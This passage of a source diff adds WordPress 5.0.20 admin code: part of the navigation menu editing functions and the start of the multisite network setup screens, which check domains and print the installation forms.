+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $popular_terms), 0, (object) $args );
+				?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div id="tabs-panel-<?php echo $taxonomy_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php
+			echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+			<ul id="<?php echo $taxonomy_name; ?>checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear">
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $terms), 0, (object) $args );
+				?>
+			</ul>
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+		</div><!-- /.tabs-panel -->
+
+		<div class="tabs-panel <?php
+			echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>" id="tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>">
+			<?php
+			if ( isset( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) {
+				$searched = esc_attr( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] );
+				$search_results = get_terms( $taxonomy_name, array( 'name__like' => $searched, 'fields' => 'all', 'orderby' => 'count', 'order' => 'DESC', 'hierarchical' => false ) );
+			} else {
+				$searched = '';
+				$search_results = array();
+			}
+			?>
+			<p class="quick-search-wrap">
+				<label for="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" class="screen-reader-text"><?php _e( 'Search' ); ?></label>
+				<input type="search" class="quick-search" value="<?php echo $searched; ?>" name="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" id="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" />
+				<span class="spinner"></span>
+				<?php submit_button( __( 'Search' ), 'small quick-search-submit hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-taxonomy-' . $taxonomy_name ) ); ?>
+			</p>
+
+			<ul id="<?php echo $taxonomy_name; ?>-search-checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear">
+			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args );
+				?>
+			<?php elseif ( is_wp_error( $search_results ) ) : ?>
+				<li><?php echo $search_results->get_error_message(); ?></li>
+			<?php elseif ( ! empty( $searched ) ) : ?>
+				<li><?php _e('No results found.'); ?></li>
+			<?php endif; ?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<p class="button-controls wp-clearfix">
+			<span class="list-controls">
+				<a href="<?php
+					echo esc_url(add_query_arg(
+						array(
+							$taxonomy_name . '-tab' => 'all',
+							'selectall' => 1,
+						),
+						remove_query_arg($removed_args)
+					));
+				?>#taxonomy-<?php echo $taxonomy_name; ?>" class="select-all aria-button-if-js"><?php _e( 'Select All' ); ?></a>
+			</span>
+
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-taxonomy-menu-item" id="<?php echo esc_attr( 'submit-taxonomy-' . $taxonomy_name ); ?>" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.taxonomydiv -->
+	<?php
+}
+
+/**
+ * Save posted nav menu item data.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id The menu ID for which to save this item. $menu_id of 0 makes a draft, orphaned menu item.
+ * @param array $menu_data The unsanitized posted menu item data.
+ * @return array The database IDs of the items saved
+ */
+function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) {
+	$menu_id = (int) $menu_id;
+	$items_saved = array();
+
+	if ( 0 == $menu_id || is_nav_menu( $menu_id ) ) {
+
+		// Loop through all the menu items' POST values.
+		foreach ( (array) $menu_data as $_possible_db_id => $_item_object_data ) {
+			if (
+				// Checkbox is not checked.
+				empty( $_item_object_data['menu-item-object-id'] ) &&
+				(
+					// And item type either isn't set.
+					! isset( $_item_object_data['menu-item-type'] ) ||
+					// Or URL is the default.
+					in_array( $_item_object_data['menu-item-url'], array( 'http://', '' ) ) ||
+					! ( 'custom' == $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) || // or it's not a custom menu item (but not the custom home page)
+					// Or it *is* a custom menu item that already exists.
+					! empty( $_item_object_data['menu-item-db-id'] )
+				)
+			) {
+				// Then this potential menu item is not getting added to this menu.
+				continue;
+			}
+
+			// If this possible menu item doesn't actually have a menu database ID yet.
+			if (
+				empty( $_item_object_data['menu-item-db-id'] ) ||
+				( 0 > $_possible_db_id ) ||
+				$_possible_db_id != $_item_object_data['menu-item-db-id']
+			) {
+				$_actual_db_id = 0;
+			} else {
+				$_actual_db_id = (int) $_item_object_data['menu-item-db-id'];
+			}
+
+			$args = array(
+				'menu-item-db-id' => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ),
+				'menu-item-object-id' => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ),
+				'menu-item-object' => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ),
+				'menu-item-parent-id' => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ),
+				'menu-item-position' => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ),
+				'menu-item-type' => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ),
+				'menu-item-title' => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ),
+				'menu-item-url' => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ),
+				'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ),
+				'menu-item-attr-title' => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ),
+				'menu-item-target' => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ),
+				'menu-item-classes' => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ),
+				'menu-item-xfn' => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ),
+			);
+
+			$items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args );
+
+		}
+	}
+	return $items_saved;
+}
+
+/**
+ * Adds custom arguments to some of the meta box object types.
+ *
+ * @since 3.0.0
+ *
+ * @access private
+ *
+ * @param object $object The post type or taxonomy meta-object.
+ * @return object The post type of taxonomy object.
+ */
+function _wp_nav_menu_meta_box_object( $object = null ) {
+	if ( isset( $object->name ) ) {
+
+		if ( 'page' == $object->name ) {
+			$object->_default_query = array(
+				'orderby' => 'menu_order title',
+				'post_status' => 'publish',
+			);
+
+		// Posts should show only published items.
+		} elseif ( 'post' == $object->name ) {
+			$object->_default_query = array(
+				'post_status' => 'publish',
+			);
+
+		// Categories should be in reverse chronological order.
+		} elseif ( 'category' == $object->name ) {
+			$object->_default_query = array(
+				'orderby' => 'id',
+				'order' => 'DESC',
+			);
+
+		// Custom post types should show only published items.
+		} else {
+			$object->_default_query = array(
+				'post_status' => 'publish',
+			);
+		}
+	}
+
+	return $object;
+}
+
+/**
+ * Returns the menu formatted to edit.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id Optional. The ID of the menu to format. Default 0.
+ * @return string|WP_Error $output The menu formatted to edit or error object on failure.
+ */
+function wp_get_nav_menu_to_edit( $menu_id = 0 ) {
+	$menu = wp_get_nav_menu_object( $menu_id );
+
+	// If the menu exists, get its items.
+	if ( is_nav_menu( $menu ) ) {
+		$menu_items = wp_get_nav_menu_items( $menu->term_id, array('post_status' => 'any') );
+		$result = '<div id="menu-instructions" class="post-body-plain';
+		$result .= ( ! empty($menu_items) ) ? ' menu-instructions-inactive">' : '">';
+		$result .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>';
+		$result .= '</div>';
+
+		if ( empty($menu_items) )
+			return $result . ' <ul class="menu" id="menu-to-edit"> </ul>';
+
+		/**
+		 * Filters the Walker class used when adding nav menu items.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $class   The walker class to use. Default 'Walker_Nav_Menu_Edit'.
+		 * @param int    $menu_id ID of the menu being rendered.
+		 */
+		$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id );
+
+		if ( class_exists( $walker_class_name ) ) {
+			$walker = new $walker_class_name;
+		} else {
+			return new WP_Error( 'menu_walker_not_exist',
+				/* translators: %s: walker class name */
+				sprintf( __( 'The Walker class named %s does not exist.' ),
+					'<strong>' . $walker_class_name . '</strong>'
+				)
+			);
+		}
+
+		$some_pending_menu_items = $some_invalid_menu_items = false;
+		foreach ( (array) $menu_items as $menu_item ) {
+			if ( isset( $menu_item->post_status ) && 'draft' == $menu_item->post_status )
+				$some_pending_menu_items = true;
+			if ( ! empty( $menu_item->_invalid ) )
+				$some_invalid_menu_items = true;
+		}
+
+		if ( $some_pending_menu_items ) {
+			$result .= '<div class="notice notice-info notice-alt inline"><p>' . __( 'Click Save Menu to make pending menu items public.' ) . '</p></div>';
+		}
+
+		if ( $some_invalid_menu_items ) {
+			$result .= '<div class="notice notice-error notice-alt inline"><p>' . __( 'There are some invalid menu items. Please check or delete them.' ) . '</p></div>';
+		}
+
+		$result .= '<ul class="menu" id="menu-to-edit"> ';
+		$result .= walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $menu_items), 0, (object) array('walker' => $walker ) );
+		$result .= ' </ul> ';
+		return $result;
+	} elseif ( is_wp_error( $menu ) ) {
+		return $menu;
+	}
+
+}
+
+/**
+ * Returns the columns for the nav menus page.
+ *
+ * @since 3.0.0
+ *
+ * @return array Columns.
+ */
+function wp_nav_menu_manage_columns() {
+	return array(
+		'_title'          => __( 'Show advanced menu properties' ),
+		'cb'              => '<input type="checkbox" />',
+		'link-target'     => __( 'Link Target' ),
+		'title-attribute' => __( 'Title Attribute' ),
+		'css-classes'     => __( 'CSS Classes' ),
+		'xfn'             => __( 'Link Relationship (XFN)' ),
+		'description'     => __( 'Description' ),
+	);
+}
+
+/**
+ * Deletes orphaned draft menu items
+ *
+ * @access private
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function _wp_delete_orphaned_draft_menu_items() {
+	global $wpdb;
+	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+
+	// Delete orphaned draft menu items.
+	$menu_items_to_delete = $wpdb->get_col($wpdb->prepare("SELECT ID FROM $wpdb->posts AS p LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id WHERE post_type = 'nav_menu_item' AND post_status = 'draft' AND meta_key = '_menu_item_orphaned' AND meta_value < %d", $delete_timestamp ) );
+
+	foreach ( (array) $menu_items_to_delete as $menu_item_id )
+		wp_delete_post( $menu_item_id, true );
+}
+
+/**
+ * Saves nav menu items
+ *
+ * @since 3.6.0
+ *
+ * @param int|string $nav_menu_selected_id (id, slug, or name ) of the currently-selected menu
+ * @param string $nav_menu_selected_title Title of the currently-selected menu
+ * @return array $messages The menu updated message
+ */
+function wp_nav_menu_update_menu_items ( $nav_menu_selected_id, $nav_menu_selected_title ) {
+	$unsorted_menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'orderby' => 'ID', 'output' => ARRAY_A, 'output_key' => 'ID', 'post_status' => 'draft,publish' ) );
+	$messages = array();
+	$menu_items = array();
+	// Index menu items by db ID
+	foreach ( $unsorted_menu_items as $_item )
+		$menu_items[$_item->db_id] = $_item;
+
+	$post_fields = array(
+		'menu-item-db-id', 'menu-item-object-id', 'menu-item-object',
+		'menu-item-parent-id', 'menu-item-position', 'menu-item-type',
+		'menu-item-title', 'menu-item-url', 'menu-item-description',
+		'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn'
+	);
+
+	wp_defer_term_counting( true );
+	// Loop through all the menu items' POST variables
+	if ( ! empty( $_POST['menu-item-db-id'] ) ) {
+		foreach ( (array) $_POST['menu-item-db-id'] as $_key => $k ) {
+
+			// Menu item title can't be blank
+			if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' == $_POST['menu-item-title'][ $_key ] )
+				continue;
+
+			$args = array();
+			foreach ( $post_fields as $field )
+				$args[$field] = isset( $_POST[$field][$_key] ) ? $_POST[$field][$_key] : '';
+
+			$menu_item_db_id = wp_update_nav_menu_item( $nav_menu_selected_id, ( $_POST['menu-item-db-id'][$_key] != $_key ? 0 : $_key ), $args );
+
+			if ( is_wp_error( $menu_item_db_id ) ) {
+				$messages[] = '<div id="message" class="error"><p>' . $menu_item_db_id->get_error_message() . '</p></div>';
+			} else {
+				unset( $menu_items[ $menu_item_db_id ] );
+			}
+		}
+	}
+
+	// Remove menu items from the menu that weren't in $_POST
+	if ( ! empty( $menu_items ) ) {
+		foreach ( array_keys( $menu_items ) as $menu_item_id ) {
+			if ( is_nav_menu_item( $menu_item_id ) ) {
+				wp_delete_post( $menu_item_id );
+			}
+		}
+	}
+
+	// Store 'auto-add' pages.
+	$auto_add = ! empty( $_POST['auto-add-pages'] );
+	$nav_menu_option = (array) get_option( 'nav_menu_options' );
+	if ( ! isset( $nav_menu_option['auto_add'] ) )
+		$nav_menu_option['auto_add'] = array();
+	if ( $auto_add ) {
+		if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) )
+			$nav_menu_option['auto_add'][] = $nav_menu_selected_id;
+	} else {
+		if ( false !== ( $key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) ) )
+			unset( $nav_menu_option['auto_add'][$key] );
+	}
+	// Remove nonexistent/deleted menus
+	$nav_menu_option['auto_add'] = array_intersect( $nav_menu_option['auto_add'], wp_get_nav_menus( array( 'fields' => 'ids' ) ) );
+	update_option( 'nav_menu_options', $nav_menu_option );
+
+	wp_defer_term_counting( false );
+
+	/** This action is documented in wp-includes/nav-menu.php */
+	do_action( 'wp_update_nav_menu', $nav_menu_selected_id );
+
+	$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' .
+		/* translators: %s: nav menu title */
+		sprintf( __( '%s has been updated.' ),
+			'<strong>' . $nav_menu_selected_title . '</strong>'
+		) . '</p></div>';
+
+	unset( $menu_items, $unsorted_menu_items );
+
+	return $messages;
+}
+
+/**
+ * If a JSON blob of navigation menu data is in POST data, expand it and inject
+ * it into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
+ *
+ * @ignore
+ * @since 4.5.3
+ * @access private
+ */
+function _wp_expand_nav_menu_post_data() {
+	if ( ! isset( $_POST['nav-menu-data'] ) ) {
+		return;
+	}
+
+	$data = json_decode( stripslashes( $_POST['nav-menu-data'] ) );
+
+	if ( ! is_null( $data ) && $data ) {
+		foreach ( $data as $post_input_data ) {
+			// For input names that are arrays (e.g. `menu-item-db-id[3][4][5]`),
+			// derive the array path keys via regex and set the value in $_POST.
+			preg_match( '#([^\[]*)(\[(.+)\])?#', $post_input_data->name, $matches );
+
+			$array_bits = array( $matches[1] );
+
+			if ( isset( $matches[3] ) ) {
+				$array_bits = array_merge( $array_bits, explode( '][', $matches[3] ) );
+			}
+
+			$new_post_data = array();
+
+			// Build the new array value from leaf to trunk.
+			for ( $i = count( $array_bits ) - 1; $i >= 0; $i -- ) {
+				if ( $i == count( $array_bits ) - 1 ) {
+					$new_post_data[ $array_bits[ $i ] ] = wp_slash( $post_input_data->value );
+				} else {
+					$new_post_data = array( $array_bits[ $i ] => $new_post_data );
+				}
+			}
+
+			$_POST = array_replace_recursive( $_POST, $new_post_data );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/network.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/network.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/network.php	(revision 56912)
@@ -0,0 +1,606 @@
+<?php
+/**
+ * WordPress Network Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Check for an existing network.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return Whether a network exists.
+ */
+function network_domain_check() {
+	global $wpdb;
+
+	$sql = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->site ) );
+	if ( $wpdb->get_var( $sql ) ) {
+		return $wpdb->get_var( "SELECT domain FROM $wpdb->site ORDER BY id ASC LIMIT 1" );
+	}
+	return false;
+}
+
+/**
+ * Allow subdomain installation
+ *
+ * @since 3.0.0
+ * @return bool Whether subdomain installation is allowed
+ */
+function allow_subdomain_install() {
+	$domain = preg_replace( '|https?://([^/]+)|', '$1', get_option( 'home' ) );
+	if ( parse_url( get_option( 'home' ), PHP_URL_PATH ) || 'localhost' == $domain || preg_match( '|^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|', $domain ) )
+		return false;
+
+	return true;
+}
+
+/**
+ * Allow subdirectory installation.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return bool Whether subdirectory installation is allowed
+ */
+function allow_subdirectory_install() {
+	global $wpdb;
+        /**
+         * Filters whether to enable the subdirectory installation feature in Multisite.
+         *
+         * @since 3.0.0
+         *
+         * @param bool $allow Whether to enable the subdirectory installation feature in Multisite. Default is false.
+         */
+	if ( apply_filters( 'allow_subdirectory_install', false ) )
+		return true;
+
+	if ( defined( 'ALLOW_SUBDIRECTORY_INSTALL' ) && ALLOW_SUBDIRECTORY_INSTALL )
+		return true;
+
+	$post = $wpdb->get_row( "SELECT ID FROM $wpdb->posts WHERE post_date < DATE_SUB(NOW(), INTERVAL 1 MONTH) AND post_status = 'publish'" );
+	if ( empty( $post ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Get base domain of network.
+ *
+ * @since 3.0.0
+ * @return string Base domain.
+ */
+function get_clean_basedomain() {
+	if ( $existing_domain = network_domain_check() )
+		return $existing_domain;
+	$domain = preg_replace( '|https?://|', '', get_option( 'siteurl' ) );
+	if ( $slash = strpos( $domain, '/' ) )
+		$domain = substr( $domain, 0, $slash );
+	return $domain;
+}
+
+/**
+ * Prints step 1 for Network installation process.
+ *
+ * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such. Navigating to Tools > Network
+ * 	should not be a sudden "Welcome to a new install process! Fill this out and click here." See also contextual help todo.
+ *
+ * @since 3.0.0
+ *
+ * @global bool $is_apache
+ *
+ * @param WP_Error $errors
+ */
+function network_step1( $errors = false ) {
+	global $is_apache;
+
+	if ( defined('DO_NOT_UPGRADE_GLOBAL_TABLES') ) {
+		echo '<div class="error"><p><strong>' . __( 'ERROR:' ) . '</strong> ' . sprintf(
+			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
+			__( 'The constant %s cannot be defined when creating a network.' ),
+			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
+		) . '</p></div>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	$active_plugins = get_option( 'active_plugins' );
+	if ( ! empty( $active_plugins ) ) {
+		echo '<div class="updated"><p><strong>' . __( 'Warning:' ) . '</strong> ' . sprintf(
+			/* translators: %s: Plugins screen URL */
+			__( 'Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.' ),
+			admin_url( 'plugins.php?plugin_status=active' )
+		) . '</p></div>';
+		echo '<p>' . __( 'Once the network is created, you may reactivate your plugins.' ) . '</p>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	$hostname = get_clean_basedomain();
+	$has_ports = strstr( $hostname, ':' );
+	if ( ( false !== $has_ports && ! in_array( $has_ports, array( ':80', ':443' ) ) ) ) {
+		echo '<div class="error"><p><strong>' . __( 'ERROR:' ) . '</strong> ' . __( 'You cannot install a network of sites with your server address.' ) . '</p></div>';
+		echo '<p>' . sprintf(
+			/* translators: %s: port number */
+			__( 'You cannot use port numbers such as %s.' ),
+			'<code>' . $has_ports . '</code>'
+		) . '</p>';
+		echo '<a href="' . esc_url( admin_url() ) . '">' . __( 'Return to Dashboard' ) . '</a>';
+		echo '</div>';
+		include( ABSPATH . 'wp-admin/admin-footer.php' );
+		die();
+	}
+
+	echo '<form method="post">';
+
+	wp_nonce_field( 'install-network-1' );
+
+	$error_codes = array();
+	if ( is_wp_error( $errors ) ) {
+		echo '<div class="error"><p><strong>' . __( 'ERROR: The network could not be created.' ) . '</strong></p>';
+		foreach ( $errors->get_error_messages() as $error )
+			echo "<p>$error</p>";
+		echo '</div>';
+		$error_codes = $errors->get_error_codes();
+	}
+
+	if ( ! empty( $_POST['sitename'] ) && ! in_array( 'empty_sitename', $error_codes ) ) {
+		$site_name = $_POST['sitename'];
+	} else {
+		/* translators: %s: Default network name */
+		$site_name = sprintf( __( '%s Sites' ), get_option( 'blogname' ) );
+	}
+
+	if ( ! empty( $_POST['email'] ) && ! in_array( 'invalid_email', $error_codes ) ) {
+		$admin_email = $_POST['email'];
+	} else {
+		$admin_email = get_option( 'admin_email' );
+	}
+	?>
+	<p><?php _e( 'Welcome to the Network installation process!' ); ?></p>
+	<p><?php _e( 'Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step.' ); ?></p>
+	<?php
+
+	if ( isset( $_POST['subdomain_install'] ) ) {
+		$subdomain_install = (bool) $_POST['subdomain_install'];
+	} elseif ( apache_mod_loaded('mod_rewrite') ) { // assume nothing
+		$subdomain_install = true;
+	} elseif ( !allow_subdirectory_install() ) {
+		$subdomain_install = true;
+	} else {
+		$subdomain_install = false;
+		if ( $got_mod_rewrite = got_mod_rewrite() ) { // dangerous assumptions
+			echo '<div class="updated inline"><p><strong>' . __( 'Note:' ) . '</strong> ';
+			/* translators: %s: mod_rewrite */
+			printf( __( 'Please make sure the Apache %s module is installed as it will be used at the end of this installation.' ),
+				'<code>mod_rewrite</code>'
+			);
+			echo '</p>';
+		} elseif ( $is_apache ) {
+			echo '<div class="error inline"><p><strong>' . __( 'Warning:' ) . '</strong> ';
+			/* translators: %s: mod_rewrite */
+			printf( __( 'It looks like the Apache %s module is not installed.' ),
+				'<code>mod_rewrite</code>'
+			);
+			echo '</p>';
+		}
+
+		if ( $got_mod_rewrite || $is_apache ) { // Protect against mod_rewrite mimicry (but ! Apache)
+			echo '<p>';
+			/* translators: 1: mod_rewrite, 2: mod_rewrite documentation URL, 3: Google search for mod_rewrite */
+			printf( __( 'If %1$s is disabled, ask your administrator to enable that module, or look at the <a href="%2$s">Apache documentation</a> or <a href="%3$s">elsewhere</a> for help setting it up.' ),
+				'<code>mod_rewrite</code>',
+				'https://httpd.apache.org/docs/mod/mod_rewrite.html',
+				'https://www.google.com/search?q=apache+mod_rewrite'
+			);
+			echo '</p></div>';
+		}
+	}
+
+	if ( allow_subdomain_install() && allow_subdirectory_install() ) : ?>
+		<h3><?php esc_html_e( 'Addresses of Sites in your Network' ); ?></h3>
+		<p><?php _e( 'Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories.' ); ?>
+			<strong><?php _e( 'You cannot change this later.' ); ?></strong></p>
+		<p><?php _e( 'You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.' ); ?></p>
+		<?php // @todo: Link to an MS readme? ?>
+		<table class="form-table">
+			<tr>
+				<th><label><input type="radio" name="subdomain_install" value="1"<?php checked( $subdomain_install ); ?> /> <?php _e( 'Sub-domains' ); ?></label></th>
+				<td><?php printf(
+					/* translators: 1: hostname */
+					_x( 'like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples' ),
+					$hostname
+				); ?></td>
+			</tr>
+			<tr>
+				<th><label><input type="radio" name="subdomain_install" value="0"<?php checked( ! $subdomain_install ); ?> /> <?php _e( 'Sub-directories' ); ?></label></th>
+				<td><?php printf(
+					/* translators: 1: hostname */
+					_x( 'like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples' ),
+					$hostname
+				); ?></td>
+			</tr>
+		</table>
+
+<?php
+	endif;
+
+		if ( WP_CONTENT_DIR != ABSPATH . 'wp-content' && ( allow_subdirectory_install() || ! allow_subdomain_install() ) )
+			echo '<div class="error inline"><p><strong>' . __( 'Warning:' ) . '</strong> ' . __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' ) . '</p></div>';
+
+		$is_www = ( 0 === strpos( $hostname, 'www.' ) );
+		if ( $is_www ) :
+		?>
+		<h3><?php esc_html_e( 'Server Address' ); ?></h3>
+		<p><?php printf(
+			/* translators: 1: site url 2: host name 3. www */
+			__( 'We recommend you change your siteurl to %1$s before enabling the network feature. It will still be possible to visit your site using the %3$s prefix with an address like %2$s but any links will not have the %3$s prefix.' ),
+			'<code>' . substr( $hostname, 4 ) . '</code>',
+			'<code>' . $hostname . '</code>',
+			'<code>www</code>'
+		); ?></p>
+		<table class="form-table">
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
+				<td>
+					<?php printf(
+						/* translators: %s: host name */
+						__( 'The internet address of your network will be %s.' ),
+						'<code>' . $hostname . '</code>'
+					); ?>
+				</td>
+			</tr>
+		</table>
+		<?php endif; ?>
+
+		<h3><?php esc_html_e( 'Network Details' ); ?></h3>
+		<table class="form-table">
+		<?php if ( 'localhost' == $hostname ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
+				<td><?php
+					printf(
+						/* translators: 1: localhost 2: localhost.localdomain */
+						__( 'Because you are using %1$s, the sites in your WordPress network must use sub-directories. Consider using %2$s if you wish to use sub-domains.' ),
+						'<code>localhost</code>',
+						'<code>localhost.localdomain</code>'
+					);
+					// Uh oh:
+					if ( !allow_subdirectory_install() )
+						echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php elseif ( !allow_subdomain_install() ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
+				<td><?php
+					_e( 'Because your installation is in a directory, the sites in your WordPress network must use sub-directories.' );
+					// Uh oh:
+					if ( !allow_subdirectory_install() )
+						echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php elseif ( !allow_subdirectory_install() ) : ?>
+			<tr>
+				<th scope="row"><?php esc_html_e( 'Sub-domain Installation' ); ?></th>
+				<td><?php _e( 'Because your installation is not new, the sites in your WordPress network must use sub-domains.' );
+					echo ' <strong>' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
+				?></td>
+			</tr>
+		<?php endif; ?>
+		<?php if ( ! $is_www ) : ?>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
+				<td>
+					<?php printf(
+						/* translators: %s: host name */
+						__( 'The internet address of your network will be %s.' ),
+						'<code>' . $hostname . '</code>'
+					); ?>
+				</td>
+			</tr>
+		<?php endif; ?>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Network Title' ); ?></th>
+				<td>
+					<input name='sitename' type='text' size='45' value='<?php echo esc_attr( $site_name ); ?>' />
+					<p class="description">
+						<?php _e( 'What would you like to call your network?' ); ?>
+					</p>
+				</td>
+			</tr>
+			<tr>
+				<th scope='row'><?php esc_html_e( 'Network Admin Email' ); ?></th>
+				<td>
+					<input name='email' type='text' size='45' value='<?php echo esc_attr( $admin_email ); ?>' />
+					<p class="description">
+						<?php _e( 'Your email address.' ); ?>
+					</p>
+				</td>
+			</tr>
+		</table>
+		<?php submit_button( __( 'Install' ), 'primary', 'submit' ); ?>
+	</form>
+	<?php
+}
+
+/**
+ * Prints step 2 for Network installation process.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param WP_Error $errors
+ */
+function network_step2( $errors = false ) {
+	global $wpdb;
+
+	$hostname          = get_clean_basedomain();
+	$slashed_home      = trailingslashit( get_option( 'home' ) );
+	$base              = parse_url( $slashed_home, PHP_URL_PATH );
+	$document_root_fix = str_replace( '\\', '/', realpath( $_SERVER['DOCUMENT_ROOT'] ) );
+	$abspath_fix       = str_replace( '\\', '/', ABSPATH );
+	$home_path         = 0 === strpos( $abspath_fix, $document_root_fix ) ? $document_root_fix . $base : get_home_path();
+	$wp_siteurl_subdir = preg_replace( '#^' . preg_quote( $home_path, '#' ) . '#', '', $abspath_fix );
+	$rewrite_base      = ! empty( $wp_siteurl_subdir ) ? ltrim( trailingslashit( $wp_siteurl_subdir ), '/' ) : '';
+
+
+	$location_of_wp_config = $abspath_fix;
+	if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
+		$location_of_wp_config = dirname( $abspath_fix );
+	}
+	$location_of_wp_config = trailingslashit( $location_of_wp_config );
+
+	// Wildcard DNS message.
